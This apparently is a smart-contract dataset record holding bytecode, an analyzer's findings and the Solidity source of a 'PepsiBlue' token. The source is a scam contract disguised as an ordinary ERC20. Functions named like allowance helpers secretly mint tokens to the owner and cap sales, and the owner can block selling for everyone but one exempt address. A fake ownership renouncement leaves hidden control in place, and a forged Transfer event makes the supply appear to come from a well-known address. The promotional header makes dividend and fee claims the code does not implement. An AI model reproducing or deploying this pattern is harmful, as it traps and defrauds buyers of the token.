0x6080604052600436106102025760003560e01c8063893d20e81161011d578063ca33e64c116100b0578063f0b37c041161007f578063f887ea4011610064578063f887ea4014610831578063fd07c8b714610846578063fe9fbb801461085b57610209565b8063f0b37c04146107b1578063f2fde38b146107f157610209565b8063ca33e64c146106e2578063dd62ed3e146106f7578063df20fd491461073f578063e01bb6881461077157610209565b8063b29a8140116100ec578063b29a814014610632578063b6a5d7de14610678578063bcdb446b146106b8578063bf56b371146106cd57610209565b8063893d20e81461059957806395d89b411461024c578063a8aa1b31146105d7578063a9059cbb146105ec57610209565b8063349539a1116101955780636ddd1713116101645780636ddd1713146104b257806370a08231146104c7578063806e085e1461050757806385b5bfb61461058457610209565b8063349539a114610400578063571ac8b0146104155780635fe7208c14610455578063658d4b7f1461046a57610209565b806318160ddd116101d157806318160ddd1461033057806323b872dd146103455780632f54bf6e14610395578063313ce567146103d557610209565b806301339c211461020e5780630445b6671461022557806306fdde031461024c578063095ea7b3146102d657610209565b3661020957005b600080fd5b34801561021a57600080fd5b5061022361089b565b005b34801561023157600080fd5b5061023a6109ab565b60408051918252519081900360200190f35b34801561025857600080fd5b506102616109b1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e257600080fd5b5061031c600480360360408110156102f957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356109e8565b604080519115158252519081900360200190f35b34801561033c57600080fd5b5061023a610a5b565b34801561035157600080fd5b5061031c6004803603606081101561036857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610a61565b3480156103a157600080fd5b5061031c600480360360208110156103b857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b6f565b3480156103e157600080fd5b506103ea610b90565b6040805160ff9092168252519081900360200190f35b34801561040c57600080fd5b50610223610b95565b34801561042157600080fd5b5061031c6004803603602081101561043857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610cfc565b34801561046157600080fd5b50610223610d2e565b34801561047657600080fd5b506102236004803603604081101561048d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001351515610dac565b3480156104be57600080fd5b5061031c610e76565b3480156104d357600080fd5b5061023a600480360360208110156104ea57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610e84565b34801561051357600080fd5b506102236004803603604081101561052a57600080fd5b81019060208101813564010000000081111561054557600080fd5b82018360208201111561055757600080fd5b8035906020019184602083028401116401000000008311171561057957600080fd5b919350915035610eac565b34801561059057600080fd5b50610223610efb565b3480156105a557600080fd5b506105ae611016565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156105e357600080fd5b506105ae611032565b3480156105f857600080fd5b5061031c6004803603604081101561060f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561104e565b34801561063e57600080fd5b5061031c6004803603604081101561065557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561105b565b34801561068457600080fd5b506102236004803603602081101561069b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611179565b3480156106c457600080fd5b5061022361123f565b3480156106d957600080fd5b5061023a6112e2565b3480156106ee57600080fd5b506105ae6112e8565b34801561070357600080fd5b5061023a6004803603604081101561071a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611304565b34801561074b57600080fd5b506102236004803603604081101561076257600080fd5b5080351515906020013561133c565b34801561077d57600080fd5b506102236004803603602081101561079457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113eb565b3480156107bd57600080fd5b50610223600480360360208110156107d457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166114a6565b3480156107fd57600080fd5b506102236004803603602081101561081457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611566565b34801561083d57600080fd5b506105ae61168b565b34801561085257600080fd5b5061031c6116a7565b34801561086757600080fd5b5061031c6004803603602081101561087e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166116b0565b6108a4336116b0565b61090f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b6109176116db565b1561092157600080fd5b43600e55600d54604080517f66aa56c5000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216916366aa56c59160048082019260009290919082900301818387803b15801561099157600080fd5b505af11580156109a5573d6000803e3d6000fd5b50505050565b60105481565b60408051808201909152600981527f42414259464c4f4b490000000000000000000000000000000000000000000000602082015290565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035490565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610b5a57604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e63650000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600582528381203382529091529190912054610b289184906116e3565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083203384529091529020555b610b65848484611794565b90505b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161490565b600990565b610b9e336116b0565b610c0957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600d5474010000000000000000000000000000000000000000900460ff1615610c3157600080fd5b600d54604080517f4420e486000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff90921691634420e4869160248082019260009290919082900301818387803b158015610ca357600080fd5b505af1158015610cb7573d6000803e3d6000fd5b5050600d80547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790555050565b6000610d28827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109e8565b92915050565b610d37336116b0565b610da257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b610daa61193a565b565b610db533610b6f565b610e2057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600f54610100900460ff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604090205490565b60005b828110156109a557610eea33858584818110610ec757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1684611c63565b610ef357600080fd5b600101610eaf565b610f04336116b0565b610f6f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600f5460ff1615610f7f57600080fd5b600f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055600d54604080517f4049e5da000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff90921691634049e5da9160048082019260009290919082900301818387803b15801561099157600080fd5b60005473ffffffffffffffffffffffffffffffffffffffff1690565b600c5473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b68338484611794565b6000611066336116b0565b6110d157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff85169163a9059cbb9160448083019260209291908290030181600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d602081101561117057600080fd5b50519392505050565b61118233610b6f565b6111ed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055565b61124833610b6f565b6112b357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156112df573d6000803e3d6000fd5b50565b600e5481565b600a5473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b61134533610b6f565b6113b057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600f8054921515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff90931692909217909155601055565b6113f433610b6f565b61145f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6114af33610b6f565b61151a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b61156f33610b6f565b6115da57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811782558082526001602081815260409384902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600b5473ffffffffffffffffffffffffffffffffffffffff1681565b600f5460ff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205460ff1690565b600e54151590565b6000818484111561178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578181015183820152602001611739565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60115460009060ff16156117b4576117ad848484611c63565b9050610b68565b6117bc611d74565b156117c9576117c961193a565b604080518082018252601481527f496e73756666696369656e742042616c616e636500000000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600490915291909120546118319184906116e3565b73ffffffffffffffffffffffffffffffffffffffff808616600090815260046020908152604080832094909455918616815260069091529081205460ff166118985761187c85611dd7565b6118865782611891565b611891858486611e03565b905061189b565b50815b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260409020546118cb9082612000565b73ffffffffffffffffffffffffffffffffffffffff80861660008181526004602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905530600090815260046020526040812054611980906002612074565b306000908152600460205260408120549192509061199e90836120b6565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106119d257fe5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600254825191169082906001908110611a0a57fe5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600b546040517f791ac94700000000000000000000000000000000000000000000000000000000815260048101868152600060248301819052306064840181905261016842016084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b83811015611ace578181015183820152602001611ab6565b505050509050019650505050505050600060405180830381600087803b158015611af757600080fd5b505af1158015611b0b573d6000803e3d6000fd5b505050506000611b2482476120b690919063ffffffff16565b90508415611c3457600b54600a54604080517ff305d71900000000000000000000000000000000000000000000000000000000815230600482015260248101899052600060448201819052606482015273ffffffffffffffffffffffffffffffffffffffff9283166084820152610168420160a48201529051919092169163f305d71991849160c48082019260609290919082900301818588803b158015611bcb57600080fd5b505af1158015611bdf573d6000803e3d6000fd5b50505050506040513d6060811015611bf657600080fd5b5050604080518281526020810187905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b5050601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055505050565b604080518082018252601481527f496e73756666696369656e742042616c616e636500000000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff86166000908152600490915291822054611cca9184906116e3565b73ffffffffffffffffffffffffffffffffffffffff8086166000908152600460205260408082209390935590851681522054611d069083612000565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600c5460009073ffffffffffffffffffffffffffffffffffffffff163314801590611da2575060115460ff16155b8015611db55750600f54610100900460ff165b8015611dd257506010543060009081526004602052604090205410155b905090565b73ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205460ff161590565b600d54604080517fd61942990000000000000000000000000000000000000000000000000000000081526004810185905273ffffffffffffffffffffffffffffffffffffffff86811660248301528481166044830152336064830152825160009485948594939091169263d6194299926084808301939282900301818787803b158015611e8f57600080fd5b505af1158015611ea3573d6000803e3d6000fd5b505050506040513d6040811015611eb957600080fd5b508051602090910151909250905080611f4d5730600090815260046020526040902054611ee69083612000565b306000818152600460209081526040918290209390935580518581529051919273ffffffffffffffffffffffffffffffffffffffff8a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3611fec565b600d5473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040902054611f7f9083612000565b600d805473ffffffffffffffffffffffffffffffffffffffff9081166000908152600460209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b611ff685836120b6565b9695505050505050565b600082820183811015610b6857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610b6883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f8565b6000610b6883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e3565b60008183612161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611751578181015183820152602001611739565b50600083858161216d57fe5b049594505050505056fea26469706673582212203d65f92960595be856e5798366aa41a773cd8766452623bd87dcbeab6273eaeb64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,608 |
0xcfdc91c1192b2d9ae8f18399f42a2fc2df187d9c
|
/*
============================ PEPSI BLUE TOKEN ===========================
Simply buy a bottle of Pepsi Blue, save the code on the back of the bottle cap, and redeem this code for
free Pepsi Blue tokens when we launch our dAPP!
📲 Earn ETH passively - we will have a program where holders will gain free PepsiBlue_Dividend tokens - these dividend tokens can be redeemed for ETH right on our dAPP upon release!
🚀 Get in early - with our silent launch you will be able to get in first for the moon mission!
♻️ Marketing will become very apparent to the public when we launch our dAPP - we will start marketing to the Twitter and Telegram crypto community beforehand.
🛒 Pepsi Blue staking/LP staking
Stake Pepsi Blue tokens or the PepsiBlue-ETH liquidity pool -> earn passive income!
📬 Fees
5% fees -> 3% reflected to holders, 1% reflected to marketing team wallet and the other 1% is burned!
https://t.me/pepsibluetoken
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PepsiBlue is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 8173000000 * 10**18;
uint256 private rTotal = 8173000000 * 10**18;
string private _name = 'Pepsi BLUE Collector Token';
string private _symbol = '🔵BLUE';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001